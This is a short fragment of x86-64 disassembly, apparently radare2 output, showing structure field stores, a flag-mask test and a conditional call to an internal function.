mov dword [rbx + 0x30], eax
mov eax, dword [rsp + 0x60]
mov dword [rbx + 0x34], eax
mov eax, dword [rbx + 8]
not eax
mov qword [rbx + 0x28], rcx
and esi, eax
test esi, 0xfdffffff
je 0x140008d45
mov rdx, qword [rdi + 8]
xor r9d, r9d
mov r8d, esi
mov rcx, rbx
call fcn.140009330
jmp 0x140008d47